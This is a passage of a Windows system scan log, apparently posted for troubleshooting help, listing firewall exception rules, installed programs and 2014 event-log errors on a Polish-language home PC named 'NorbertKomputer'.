"{1EDBFD15-8BFB-4609-866E-7AEAA0728143}" = rport=2177 | protocol=6 | dir=out | svc=qwave | app=%systemroot%\system32\svchost.exe |
"{232E1C97-74B8-470E-8E2B-618666A2DB6F}" = lport=rpc-epmap | protocol=6 | dir=in | svc=rpcss | name=@firewallapi.dll,-28539 |
"{4199DDF1-FC58-4B68-AE89-C521A12A911A}" = lport=1900 | protocol=17 | dir=in | svc=ssdpsrv | app=%systemroot%\system32\svchost.exe |
"{4AF8F3AF-90B4-4C05-867F-884943B2CA72}" = lport=rpc | protocol=6 | dir=in | svc=spooler | app=%systemroot%\system32\spoolsv.exe |
"{4C3CE04A-D87F-4047-B423-78D2DC201836}" = lport=2869 | protocol=6 | dir=in | name=windows live communications platform (upnp) |
"{5FADF458-6F61-426C-BC5A-E9CBE76448AE}" = lport=10243 | protocol=6 | dir=in | app=system |
"{630B881F-CB87-43B2-BF32-D2B9F64ABEDF}" = rport=445 | protocol=6 | dir=out | app=system |
"{6BBF6DFA-CB33-48D7-9A0D-539992418B32}" = lport=1900 | protocol=17 | dir=in | name=windows live communications platform (ssdp) |
"{6D6592D8-6B48-4159-A789-5A2C1BF6B5B0}" = lport=139 | protocol=6 | dir=in | app=system |
"{77AECAAD-6094-4CFE-8E05-BA0076321727}" = lport=56228 | protocol=6 | dir=in | name=pando media booster |
"{846CD4BF-4FD4-49C9-B3E3-737BCE9B6269}" = lport=6004 | protocol=17 | dir=in | app=c:\program files\microsoft office\office12\outlook.exe |
"{85DC5BA8-982F-4DAE-8F2D-BF94C415EB99}" = lport=5355 | protocol=17 | dir=in | svc=dnscache | app=%systemroot%\system32\svchost.exe |
"{9C81C8EF-9491-4F74-BBA7-9781120AF129}" = rport=139 | protocol=6 | dir=out | app=system |
"{AC3D06F4-D085-475A-88F1-97FB9331265F}" = lport=2177 | protocol=17 | dir=in | svc=qwave | app=%systemroot%\system32\svchost.exe |
"{C61198B5-3755-4C3E-B3AB-0B1C0925F7B6}" = lport=2177 | protocol=6 | dir=in | svc=qwave | app=%systemroot%\system32\svchost.exe |
"{D0AE925E-3D11-4507-8330-0D9950E148BA}" = rport=1900 | protocol=17 | dir=out | svc=ssdpsrv | app=%systemroot%\system32\svchost.exe |
"{D6F88C68-1F3C-4559-A5A4-EA7302B6E4B2}" = rport=5355 | protocol=17 | dir=out | svc=dnscache | app=%systemroot%\system32\svchost.exe |
"{DB6B35CD-CD05-4DD2-9080-8B5C38B654C8}" = rport=137 | protocol=17 | dir=out | app=system |
"{E3EEB1DC-6C53-4269-B74B-434D2322C8B2}" = rport=138 | protocol=17 | dir=out | app=system |
"{E8C74AA8-98FC-47AD-9CE2-6BA1FD0A3A58}" = lport=56228 | protocol=6 | dir=in | name=pando media booster |
"{F120CF65-542C-4936-B5EE-E34BC4E353D1}" = lport=2869 | protocol=6 | dir=in | app=system |
"{FE0E9E19-441E-4431-8D6B-3333E59294E1}" = lport=56228 | protocol=17 | dir=in | name=pando media booster |

========== Vista Active Application Exception List ==========

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules]
"{01B11C0D-213A-4DF9-9B25-95D6DB46D90D}" = protocol=17 | dir=in | app=c:\program files\microsoft office\office12\groove.exe |
"{189A9582-6127-4DE6-811F-63AF368205DF}" = protocol=1 | dir=out | name=@firewallapi.dll,-28544 |
"{1D9CE362-7F29-48FB-8F5C-28C1A5A716A4}" = protocol=6 | dir=in | app=c:\program files\togglemark\bin\togglemark.brt.helper.exe |
"{2896CCC7-A634-4B4D-B801-7C9DCF511147}" = protocol=6 | dir=in | app=c:\program files\microsoft office\office12\onenote.exe |
"{2AB236CE-1E94-440A-A64F-95B75EB2B9AA}" = dir=in | app=c:\program files\windows live\messenger\msnmsgr.exe |
"{3A1D3536-0138-4EAD-8F2D-D3BF65E16C94}" = protocol=6 | dir=out | svc=upnphost | app=%systemroot%\system32\svchost.exe |
"{3E0E467E-F6F4-4E9E-9F8B-879E13BF881C}" = dir=in | app=c:\program files\cyberlink\powerdvd9\powerdvd cinema\powerdvdcinema.exe |
"{476458C9-E59E-4D3A-B66C-435793027374}" = protocol=17 | dir=in | app=%programfiles%\windows media player\wmpnetwk.exe |
"{6196F588-3DED-4E3E-B255-DA2E6F7618DF}" = protocol=6 | dir=out | app=%programfiles%\windows media player\wmpnetwk.exe |
"{62E35BC4-FE2E-4594-A274-7802913AAAAA}" = protocol=1 | dir=in | name=@firewallapi.dll,-28543 |
"{6C57B22C-30B4-4512-B3BC-9F541E23D873}" = dir=in | app=c:\users\norbert\appdata\local\microsoft\skydrive\skydrive.exe |
"{70A354A7-9DDD-44CD-87CB-2D4C2E529E9F}" = protocol=6 | dir=out | app=system |
"{7EF8F097-654F-4630-81EE-C482FA98447B}" = dir=in | app=c:\program files\cyberlink\powerdvd9\powerdvd9.exe |
"{80105DE0-8F4F-4D46-87C1-EA895F6E4FF8}" = protocol=17 | dir=in | app=%programfiles%\windows media player\wmplayer.exe |
"{8739891E-54DD-483D-AEE0-0A66C7C3AC93}" = protocol=17 | dir=in | app=c:\program files\togglemark\bin\togglemark.brt.helper.exe |
"{89868DB5-41C4-4E8B-8E3D-4EEC3AE3B210}" = protocol=17 | dir=in | app=c:\program files\ventrilo\ventrilo.exe |
"{8CCC7C65-7A7E-484C-A8FA-1306D7C796B2}" = protocol=6 | dir=out | app=%programfiles%\windows media player\wmplayer.exe |
"{90035D6E-F6D7-4E0E-BD16-B68CDAB9A004}" = protocol=6 | dir=in | app=c:\program files\ventrilo\ventrilo.exe |
"{93602F12-5FB7-4F17-8FA7-EEE7EEF69489}" = protocol=17 | dir=out | app=%programfiles%\windows media player\wmplayer.exe |
"{96C43BFE-A5CA-4435-9DBF-97BD16D63F87}" = protocol=17 | dir=in | app=%programfiles%\windows media player\wmplayer.exe |
"{9DE0A977-6608-43D5-84D0-8B9214981BF8}" = protocol=6 | dir=out | app=%programfiles%\windows media player\wmplayer.exe |
"{B3AD345C-7A58-4053-8614-03B8789094EC}" = protocol=17 | dir=out | app=%programfiles%\windows media player\wmplayer.exe |
"{B5D9F06F-C5AF-4CF7-8EEB-8010FF8A0558}" = protocol=17 | dir=in | app=c:\program files\togglemark\bin\togglemark.brt.helper.exe |
"{B8A113C6-C30F-4124-AE6C-E5B93CC79F4F}" = dir=in | app=c:\program files\pando networks\media booster\pmb.exe |
"{BA1EA158-0124-4EDF-BF7A-C18A18A2CF90}" = protocol=6 | dir=in | app=c:\program files\pando networks\media booster\pmb.exe |
"{BA91DA7A-309B-486B-A017-1E0117E1F9F4}" = protocol=58 | dir=in | name=@firewallapi.dll,-28545 |
"{BFFCA1A6-6AFC-444D-B36E-EBFD1CA950DA}" = dir=in | app=c:\program files\windows live\contacts\wlcomm.exe |
"{C4A0FDB8-7EB8-4C31-A0D0-01983A765FB2}" = protocol=6 | dir=in | app=c:\program files\pando networks\media booster\pmb.exe |
"{D4D1AC68-A764-4A03-BF9E-BF01F21E7F3A}" = protocol=17 | dir=in | app=c:\program files\pando networks\media booster\pmb.exe |
"{D8C7187B-6652-4074-9A25-ED45260F70B2}" = protocol=17 | dir=in | app=c:\program files\pando networks\media booster\pmb.exe |
"{D9310E2B-DD8C-4344-B691-BC18CEC9DD37}" = protocol=58 | dir=out | name=@firewallapi.dll,-28546 |
"{DA056977-CFC4-4787-AB8E-4F78EAC9D791}" = protocol=6 | dir=in | app=%programfiles%\windows media player\wmpnetwk.exe |
"{E35CD1F9-9B7F-4C60-A3FB-74116D5BCB20}" = protocol=6 | dir=in | app=g:\program files\gameforgelive\gfl_client.exe |
"{E47CBF63-4C61-48B9-84CF-2F0F8A060E1F}" = protocol=6 | dir=in | app=c:\program files\togglemark\bin\togglemark.brt.helper.exe |
"{EFC2A1C1-E529-41E3-A1D3-49694D98894E}" = protocol=17 | dir=in | app=c:\program files\microsoft office\office12\onenote.exe |
"{F2BE1471-CBAD-405A-97EC-308EC5629637}" = dir=in | app=c:\program files\skype\phone\skype.exe |
"{F501DC98-F255-49E5-A57E-BB05DB3CF858}" = protocol=17 | dir=out | app=%programfiles%\windows media player\wmpnetwk.exe |
"{FAA2F397-E7C0-4409-A78C-6FF98AF0DFEB}" = protocol=6 | dir=in | app=c:\program files\microsoft office\office12\groove.exe |
"TCP Query User{0DABA946-0568-4A2C-9372-6645E68201AB}C:\program files\gadu-gadu 10\gg.exe" = protocol=6 | dir=in | app=c:\program files\gadu-gadu 10\gg.exe |
"TCP Query User{2017F87E-B0FB-40D7-8AAA-2E61927335FA}D:\program files\winamp\winamp.exe" = protocol=6 | dir=in | app=d:\program files\winamp\winamp.exe |
"TCP Query User{4A1B327E-4133-4006-AC7A-EF6C8398FA5A}C:\program files\gadu-gadu 10\gg.exe" = protocol=6 | dir=in | app=c:\program files\gadu-gadu 10\gg.exe |
"TCP Query User{8C12AD6E-8FB3-4B63-A334-A29A2A112F27}C:\users\norbert\downloads\klient metinek\metinek.exe" = protocol=6 | dir=in | app=c:\users\norbert\downloads\klient metinek\metinek.exe |
"TCP Query User{9066E893-AD46-45A9-8E71-CD4FDB94CCF3}D:\program files\counter-strike 1.6\hl.exe" = protocol=6 | dir=in | app=d:\program files\counter-strike 1.6\hl.exe |
"TCP Query User{B0D09364-044A-4534-8EFE-AA6341004541}D:\program files\winamp\winamp.exe" = protocol=6 | dir=in | app=d:\program files\winamp\winamp.exe |
"TCP Query User{B6ED0133-C3F1-4737-A16C-7440D447A678}D:\program files\counter-strike 1.6\hl.exe" = protocol=6 | dir=in | app=d:\program files\counter-strike 1.6\hl.exe |
"TCP Query User{E6F8C104-EBA4-43E6-8138-1434BF9242A1}C:\users\norbert\appdata\local\360browser\browser\application\360browser.exe" = protocol=6 | dir=in | app=c:\users\norbert\appdata\local\360browser\browser\application\360browser.exe |
"TCP Query User{EC7FC19F-69DE-4FB3-B89C-BB51287BED30}C:\users\norbert\downloads\klient metinek\metin2.bin" = protocol=6 | dir=in | app=c:\users\norbert\downloads\klient metinek\metin2.bin |
"TCP Query User{F4B36BB2-A69D-4FFE-B345-68FDCAE0C769}\\toshiba\fifa 12\game\fifa.exe" = protocol=6 | dir=in | app=\\toshiba\fifa 12\game\fifa.exe |
"UDP Query User{1B4EBA56-6CA2-4952-9B3C-884508631FC2}C:\users\norbert\downloads\klient metinek\metinek.exe" = protocol=17 | dir=in | app=c:\users\norbert\downloads\klient metinek\metinek.exe |
"UDP Query User{2C221BD0-FE60-45D4-8942-22031C9C03F8}D:\program files\counter-strike 1.6\hl.exe" = protocol=17 | dir=in | app=d:\program files\counter-strike 1.6\hl.exe |
"UDP Query User{57568CAB-2350-416A-A71E-C8BE130F602A}\\toshiba\fifa 12\game\fifa.exe" = protocol=17 | dir=in | app=\\toshiba\fifa 12\game\fifa.exe |
"UDP Query User{63A7447B-2B8F-4354-AD8C-B710010616FE}D:\program files\winamp\winamp.exe" = protocol=17 | dir=in | app=d:\program files\winamp\winamp.exe |
"UDP Query User{71D67DEB-FC7F-447E-A4F0-21EA347FDF6D}D:\program files\winamp\winamp.exe" = protocol=17 | dir=in | app=d:\program files\winamp\winamp.exe |
"UDP Query User{759593F4-6CA5-4390-823B-2CCAA7F324C5}C:\program files\gadu-gadu 10\gg.exe" = protocol=17 | dir=in | app=c:\program files\gadu-gadu 10\gg.exe |
"UDP Query User{8B3451CB-AA57-4A94-B7A6-1A828D592152}D:\program files\counter-strike 1.6\hl.exe" = protocol=17 | dir=in | app=d:\program files\counter-strike 1.6\hl.exe |
"UDP Query User{98477B8F-3778-48EF-865E-F38BE0615936}C:\program files\gadu-gadu 10\gg.exe" = protocol=17 | dir=in | app=c:\program files\gadu-gadu 10\gg.exe |
"UDP Query User{F338EABB-87EE-49B7-96CC-5C91A01DAE57}C:\users\norbert\downloads\klient metinek\metin2.bin" = protocol=17 | dir=in | app=c:\users\norbert\downloads\klient metinek\metin2.bin |
"UDP Query User{F5582845-1330-4DDA-8672-E5AAC04CE1BA}C:\users\norbert\appdata\local\360browser\browser\application\360browser.exe" = protocol=17 | dir=in | app=c:\users\norbert\appdata\local\360browser\browser\application\360browser.exe |

========== HKEY_LOCAL_MACHINE Uninstall List ==========

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall]
"{0454BB9A-2A7A-4214-BDFF-937F7A711A44}" = Windows Live Communications Platform
"{048298C9-A4D3-490B-9FF9-AB023A9238F3}" = Steam
"{0A0CADCF-78DA-33C4-A350-CD51849B9702}" = Microsoft .NET Framework 4 Extended
"{0A9DA353-D0CD-4922-A54B-2F5F4EC90986}" = Sound Blaster X-Fi Surround 5.1 Pro
"{1026DF85-1C0F-4839-888E-EB9D5B73CF46}" = Windows Live Writer
"{16F22B31-9893-414F-98E0-D02CBDC287C9}" = Debugging Tools for Windows
"{196BB40D-1578-3D01-B289-BEFC77A11A1E}" = Microsoft Visual C++ 2010 x86 Redistributable - 10.0.30319
"{1B947146-366B-42CD-86D5-219993CE3EE2}" = Windows Live MIME IFilter
"{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}" = Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148
"{22CE2BE4-CFFF-4648-B4D8-FD516DE9C264}" = NutriGenie Calorie Counter Trial Version
"{26A24AE4-039D-4CA4-87B4-2F83217021FF}" = Java 7 Update 21
"{2A078A2B-E2C8-43A3-862C-DC57090AB7C2}" = Movie Maker
"{30F99474-EBE3-4134-A02B-F6CD38CFE243}" = Photo Gallery
"{321320E1-0E5A-36CB-9E52-F3B201B8C4D4}" = Microsoft .NET Framework 4 Client Profile PLK Language Pack
"{37FDD121-C443-4FD3-A213-2449B397C068}" = Windows Live Messenger
"{38A1E3ED-D913-41D2-9953-A93D5ACE3ADF}" = TP-LINK 150Mbps Wireless N USB Adapter Driver
"{3C3901C5-3455-3E0A-A214-0B093A5070A6}" = Microsoft .NET Framework 4 Client Profile
"{400C31E4-796F-4E86-8FDC-C3C4FACC6847}" = Junk Mail filter update
"{40AE01BE-A290-4FFB-8DAB-C624C17DC87E}" = Vegas Movie Studio HD Platinum 10.0
"{4412F224-3849-4461-A3E9-DEEF8D252790}" = Visual Studio C++ 10.0 Runtime
"{4926AA2D-3C66-443D-A456-53AE3FA44144}" = Windows Live Family Safety
"{4A03706F-666A-4037-7777-5F2748764D10}" = Java Auto Updater
"{4CCBD1F4-CEEC-452A-9CB8-46564B501315}" = Windows Live UX Platform
"{4E55905B-849D-4633-9267-3EC77E24221A}" = Poczta usługi Windows Live
"{587178E7-B1DF-494E-9838-FA4DD36E873C}" = ASUSUpdate
"{5C19E2DC-4CCF-3114-B40A-6E565987025F}" = Microsoft .NET Framework 4 Extended PLK Language Pack
"{5DE67937-45D5-45E4-923C-0B7F7EC929A7}" = League of Legends
"{6A8DB215-7BCD-4377-B015-2E4541A3E7C6}" = Windows Live PIMT Platform
"{6D1221A9-17BF-4EC0-81F2-27D30EC30701}" = Skype Click to Call
"{70854FE6-3BF1-4C69-94D0-BEB821102E34}" = Windows Live Mail
"{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}" = Microsoft Visual C++ 2005 Redistributable
"{7236672F-6430-439E-9B27-27EDEAF1D676}" = Diagnostic Utility
"{7595CAD2-87D0-4D01-AC02-3FDD3A891BB8}" = Galeria fotografii
"{76E62ACD-1536-4AC7-9A2E-B7DB4F2ACE5E}" = Windows Live Family Safety
"{789289CA-F73A-4A16-A331-54D498CE069F}" = Ventrilo Client
"{7A3C7E05-EE37-47D6-99E1-2EB05A3DA3F7}" = Skype™ 6.16
"{7E265513-8CDA-4631-B696-F40D983F3B07}_is1" = CDBurnerXP
"{8256F87F-8554-4457-8C3D-3F3324697D9F}" = Windows Live ID Sign-in Assistant
"{84D04D4F-2201-4AED-BE9A-FFA62069CA19}_is1" = reFX Nexus 1.0.0
"{8833FFB6-5B0C-4764-81AA-06DFEED9A476}" = Realtek 8136 8168 8169 Ethernet Driver
"{89F4137D-6C26-4A84-BDB8-2E5A4BB71E00}" = Microsoft Silverlight
"{8A642ACD-CE3A-4A23-A8B1-A0F7EB12B214}" = Windows Live SOXE Definitions
"{8DD46C6A-0056-4FEC-B70A-28BB16A1F11F}" = MSVCRT
"{8E14DDC8-EA60-4E18-B3E3-1937104D5BDA}" = MSVCRT110
"{90120000-0015-0415-0000-0000000FF1CE}" = Microsoft Office Access MUI (Polish) 2007
"{90120000-0015-0415-0000-0000000FF1CE}_ENTERPRISE_{01CC3B2D-70DB-49DC-839A-A923D2A39EA4}" = Microsoft Office 2007 Service Pack 3 (SP3)
"{90120000-0016-0415-0000-0000000FF1CE}" = Microsoft Office Excel MUI (Polish) 2007
"{90120000-0016-0415-0000-0000000FF1CE}_ENTERPRISE_{01CC3B2D-70DB-49DC-839A-A923D2A39EA4}" = Microsoft Office 2007 Service Pack 3 (SP3)
"{90120000-0018-0415-0000-0000000FF1CE}" = Microsoft Office PowerPoint MUI (Polish) 2007
"{90120000-0018-0415-0000-0000000FF1CE}_ENTERPRISE_{01CC3B2D-70DB-49DC-839A-A923D2A39EA4}" = Microsoft Office 2007 Service Pack 3 (SP3)
"{90120000-0019-0415-0000-0000000FF1CE}" = Microsoft Office Publisher MUI (Polish) 2007
"{90120000-0019-0415-0000-0000000FF1CE}_ENTERPRISE_{01CC3B2D-70DB-49DC-839A-A923D2A39EA4}" = Microsoft Office 2007 Service Pack 3 (SP3)
"{90120000-001A-0415-0000-0000000FF1CE}" = Microsoft Office Outlook MUI (Polish) 2007
"{90120000-001A-0415-0000-0000000FF1CE}_ENTERPRISE_{01CC3B2D-70DB-49DC-839A-A923D2A39EA4}" = Microsoft Office 2007 Service Pack 3 (SP3)
"{90120000-001B-0415-0000-0000000FF1CE}" = Microsoft Office Word MUI (Polish) 2007
"{90120000-001B-0415-0000-0000000FF1CE}_ENTERPRISE_{01CC3B2D-70DB-49DC-839A-A923D2A39EA4}" = Microsoft Office 2007 Service Pack 3 (SP3)
"{90120000-001F-0407-0000-0000000FF1CE}" = Microsoft Office Proof (German) 2007
"{90120000-001F-0407-0000-0000000FF1CE}_ENTERPRISE_{928D7B99-2BEA-49F9-83B8-20FA57860643}" = Microsoft Office Proofing Tools 2007 Service Pack 3 (SP3)
"{90120000-001F-0409-0000-0000000FF1CE}" = Microsoft Office Proof (English) 2007
"{90120000-001F-0409-0000-0000000FF1CE}_ENTERPRISE_{1FF96026-A04A-4C3E-B50A-BB7022654D0F}" = Microsoft Office Proofing Tools 2007 Service Pack 3 (SP3)
"{90120000-001F-0415-0000-0000000FF1CE}" = Microsoft Office Proof (Polish) 2007
"{90120000-001F-0415-0000-0000000FF1CE}_ENTERPRISE_{9CC96D78-9E1D-46E0-AF4D-3EB440CD4619}" = Microsoft Office Proofing Tools 2007 Service Pack 3 (SP3)
"{90120000-002C-0415-0000-0000000FF1CE}" = Microsoft Office Proofing (Polish) 2007
"{90120000-0030-0000-0000-0000000FF1CE}" = Microsoft Office Enterprise 2007
"{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{6E107EB7-8B55-48BF-ACCB-199F86A2CD93}" = Microsoft Office 2007 Service Pack 3 (SP3)
"{90120000-0044-0415-0000-0000000FF1CE}" = Microsoft Office InfoPath MUI (Polish) 2007
"{90120000-0044-0415-0000-0000000FF1CE}_ENTERPRISE_{01CC3B2D-70DB-49DC-839A-A923D2A39EA4}" = Microsoft Office 2007 Service Pack 3 (SP3)
"{90120000-006E-0415-0000-0000000FF1CE}" = Microsoft Office Shared MUI (Polish) 2007
"{90120000-006E-0415-0000-0000000FF1CE}_ENTERPRISE_{0C8AB602-A234-45AB-B355-4C863C1D2FA8}" = Microsoft Office 2007 Service Pack 3 (SP3)
"{90120000-00A1-0415-0000-0000000FF1CE}" = Microsoft Office OneNote MUI (Polish) 2007
"{90120000-00A1-0415-0000-0000000FF1CE}_ENTERPRISE_{01CC3B2D-70DB-49DC-839A-A923D2A39EA4}" = Microsoft Office 2007 Service Pack 3 (SP3)
"{90120000-00BA-0415-0000-0000000FF1CE}" = Microsoft Office Groove MUI (Polish) 2007
"{90120000-00BA-0415-0000-0000000FF1CE}_ENTERPRISE_{01CC3B2D-70DB-49DC-839A-A923D2A39EA4}" = Microsoft Office 2007 Service Pack 3 (SP3)
"{90140000-2005-0000-0000-0000000FF1CE}" = Microsoft Office File Validation Add-In
"{918A9082-6287-4D25-9002-5E5D5E4971CB}" = League of Legends
"{95120000-00B9-0409-0000-0000000FF1CE}" = Microsoft Application Error Reporting
"{95140000-007A-0415-0000-0000000FF1CE}" = Microsoft Office Outlook Connector
"{97C79BEC-43F7-4BD8-A6A7-85C0257E488A}" = Windows Live Writer
"{980A182F-E0A2-4A40-94C1-AE0C1235902E}" = Pando Media Booster
"{9A25302D-30C0-39D9-BD6F-21E6EC160475}" = Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17
"{9BE518E6-ECC6-35A9-88E4-87755C07200F}" = Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161
"{9C98989A-3A15-42DA-A3B9-D20331437D67}}_is1" = Gameforge Live 2.0.4
"{A7E73DE5-E5FD-4923-9D88-E09ECD1F3545}" = Podstawowe programy Windows Live
"{A8516AC9-AAF1-47F9-9766-03E2D4CDBCF8}" = CyberLink PowerDVD 9
"{A92DAB39-4E2C-4304-9AB6-BC44E68B55E2}" = Google Update Helper
"{AA82E5EF-70C2-41CB-8432-309078304CBB}" = Photo Common
"{AC76BA86-7AD7-1033-7B44-A81100000003}" = Adobe Reader 8.1.1
"{ACF5A3DC-D774-4991-860E-0B4D2C372BA6}" = BenQ Web Camera
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.3DVision" = NVIDIA Sterownik 3D Vision 301.42
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.ControlPanel" = Panel sterowania NVIDIA 301.42
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.Driver" = NVIDIA Sterownik graficzny 301.42
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.NVIRUSB" = NVIDIA Sterownik kontrolera 3D Vision 301.42
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.PhysX" = NVIDIA Oprogramowanie systemu PhysX 9.12.0213
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.Update" = Aktualizacje NVIDIA 1.8.15
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_installer" = NVIDIA Install Application
"{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_NVIDIA.Update" = NVIDIA Update Components
"{C424CD5E-EA05-4D3E-B5DA-F9F149E1D3AC}" = Windows Live Installer
"{C4A4722E-79F9-417C-BD72-8D359A090C97}" = Samsung PC Studio 3
"{C79A37F3-C076-48BE-B290-F4C8676ABD74}" = Samsung PC Studio 3
"{C9B6EFD0-4F01-4BBA-8374-39AD99A3ED72}" = Windows Live Photo Common
"{D2C146B1-948D-47EF-8387-5D1C6B980F7C}" = Windows Live Writer
"{DA909E62-3B45-4BA1-8B58-FCAEBA4BCEC9}" = NVIDIA PhysX
"{DEAD07C6-D070-43AB-A60D-D9ABE55E296D}_is1" = JPEGCrops 0.7.5 beta
"{E09C4DB7-630C-4F06-A631-8EA7239923AF}" = D3DX10
"{E800ADC4-F459-42F5-89A2-E754634B010A}" = Windows Live Writer Resources
"{ED6C77F9-4D7E-447C-9EC0-9A212D075535}" = Movie Maker
"{F09DD76B-D3D3-4558-B5BC-F1EEA6E00162}" = Windows Live UX Platform Language Pack
"{F09EF8F2-0976-42C1-8D9D-8DF78337C6E3}" = Sony PC Companion 2.10.165
"{F0B430D1-B6AA-473D-9B06-AA3DD01FD0B8}" = Microsoft SQL Server 2005 Compact Edition [ENU]
"{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}" = Realtek High Definition Audio Driver
"{F2235E5E-7881-4293-9B6F-04B2609FBFF0}" = Windows Live Messenger
"{F7338FA3-DAB5-49B2-900D-0AFB5760C166}" = PC Probe II
"{FE7C0B3D-50B9-4951-BE78-A321CBF86552}" = Windows Live SOXE
"{FF66E9F6-83E7-3A3E-AF14-8DE9A809A6A4}" = Microsoft Visual C++ 2008 Redistributable - x86 9.0.21022
"Adobe Flash Player ActiveX" = Adobe Flash Player 13 ActiveX
"Adobe Flash Player Plugin" = Adobe Flash Player 14 Plugin
"ASIO4ALL" = ASIO4ALL
"AudioCS" = Creative Audio Control Panel
"CCleaner" = CCleaner
"DAEMON Tools Lite" = DAEMON Tools Lite
"DJ Mix Pro" = DJ Mix Pro
"Dolby Digital Live Pack" = Dolby Digital Live Pack
"ENTERPRISE" = Microsoft Office Enterprise 2007
"EVEREST Home Edition_is1" = EVEREST Home Edition v2.20
"FL Studio 10" = FL Studio 10
"Gadu-Gadu 10" = Gadu-Gadu 10
"Google Chrome" = Google Chrome
"IL Download Manager" = IL Download Manager
"InstallShield_{A8516AC9-AAF1-47F9-9766-03E2D4CDBCF8}" = CyberLink PowerDVD 9
"Intelli-studio" = SAMSUNG Intelli-studio
"League of Legends 3.0.1" = League of Legends
"Metin2_is1" = Metin2
"Mozilla Firefox 12.0 (x86 pl)" = Mozilla Firefox 12.0 (x86 pl)
"MozillaMaintenanceService" = Mozilla Maintenance Service
"MyDriveConnect" = MyDriveConnect 3.3.0.1502
"Native Instruments Traktor DJ Studio 3" = Native Instruments Traktor DJ Studio 3
"NVIDIAStereo" = NVIDIA Stereoscopic 3D Driver
"Odkurzacz 13.3_is1" = Odkurzacz
"Opera 15.0.1147.72" = Opera Next 15.0.1147.72
"reFX Nexus 1.0.9_is1" = reFX Nexus 1.0.9
"SAMSUNG Mobile Modem" = SAMSUNG Mobile Modem Driver Set
"Samsung Mobile phone USB driver Drive" = Samsung Mobile phone USB driver Drive Software
"SAMSUNG Mobile USB Modem" = SAMSUNG Mobile USB Modem Software
"SAMSUNG Mobile USB Modem 1.0" = SAMSUNG Mobile USB Modem 1.0 Software
"SHOUTcast" = SHOUTcast DSP Plug-in v2
"Sylenth1_is1" = Sylenth1 v2.20
"Sytrus" = Sytrus
"TeamSpeak 3 Client" = TeamSpeak 3 Client
"Virtual DJ Pro Full - Atomix Productions" = Virtual DJ Pro Full - Atomix Productions
"Winamp" = Winamp
"WinLiveSuite" = Podstawowe programy Windows Live
"WinRAR archiver" = WinRAR 4.01 (32-bitowy)

========== HKEY_USERS Uninstall List ==========

[HKEY_USERS\S-1-5-21-2002624568-1494707077-3478833143-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall]
"Counter-Strike 1.6: New Era" = Counter-Strike 1.6: New Era
"Everest Home Edition Packages" = Everest Home Edition Packages
"Odkurzacz Packages" = Odkurzacz Packages
"OneDriveSetup.exe" = Microsoft OneDrive
"Winamp Detect" = Detektor Winampa

========== HKEY_USERS Uninstall List ==========

[HKEY_USERS\S-1-5-21-2002624568-1494707077-3478833143-1003\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall]
"360Browser" = 360 Browser
"Counter-Strike 1.6: New Era" = Counter-Strike 1.6: New Era
"Everest Home Edition Packages" = Everest Home Edition Packages
"MediaGet" = Torrent-Client MediaGet
"Odkurzacz Packages" = Odkurzacz Packages
"OneDriveSetup.exe" = Microsoft OneDrive
"Winamp Detect" = Detektor Winampa

========== Last 20 Event Log Errors ==========

[ Application Events ]
Error - 2014-08-24 09:31:46 | Computer Name = NorbertKomputer | Source = SideBySide | ID = 16842785
Description = Nie można wygenerować kontekstu aktywacji dla "c:\program files\Sony\sony
pc companion\Drivers\DPInst64.exe". Nie można odnaleźć zestawu zależnego Microsoft.Windows.Common-Controls,language="&#x2a;",processorArchitecture="amd64",publicKeyToken="6595b64144ccf1df",type="win32",version="6.0.0.0".
Użyj
narzędzia sxstrace.exe, aby uzyskać szczegółową diagnozę.

Error - 2014-08-25 13:14:03 | Computer Name = NorbertKomputer | Source = Application Hang | ID = 1002
Description = Program mETIN2CLIENT.BIN w wersji 1.0.44490.0 zatrzymał interakcję
z systemem Windows i został zamknięty. Aby zobaczyć, czy jest dostępnych więcej
informacji dotyczących tego problemu, sprawdź historię problemu w panelu sterowania
Centrum akcji. Identyfikator procesu: 149c Godzina rozpoczęcia: 01cfc087c6809694 Godzina
zakończenia: 3016 Ścieżka aplikacji: C:\Program Files\GameforgeLive\Games\POL_pol\Metin2\mETIN2CLIENT.BIN

Identyfikator
raportu: 2297e463-2c7b-11e4-86fa-90e6bac92931

Error - 2014-08-28 09:19:34 | Computer Name = NorbertKomputer | Source = SideBySide | ID = 16842785
Description = Nie można wygenerować kontekstu aktywacji dla "c:\program files\Sony\sony
pc companion\Drivers\DPInst64.exe". Nie można odnaleźć zestawu zależnego Microsoft.Windows.Common-Controls,language="&#x2a;",processorArchitecture="amd64",publicKeyToken="6595b64144ccf1df",type="win32",version="6.0.0.0".
Użyj
narzędzia sxstrace.exe, aby uzyskać szczegółową diagnozę.

Error - 2014-08-29 07:44:02 | Computer Name = NorbertKomputer | Source = SideBySide | ID = 16842785
Description = Nie można wygenerować kontekstu aktywacji dla "c:\program files\Sony\sony
pc companion\Drivers\DPInst64.exe". Nie można odnaleźć zestawu zależnego Microsoft.Windows.Common-Controls,language="&#x2a;",processorArchitecture="amd64",publicKeyToken="6595b64144ccf1df",type="win32",version="6.0.0.0".
Użyj
narzędzia sxstrace.exe, aby uzyskać szczegółową diagnozę.

Error - 2014-09-01 09:15:12 | Computer Name = NorbertKomputer | Source = SideBySide | ID = 16842785
Description = Nie można wygenerować kontekstu aktywacji dla "c:\program files\Sony\sony
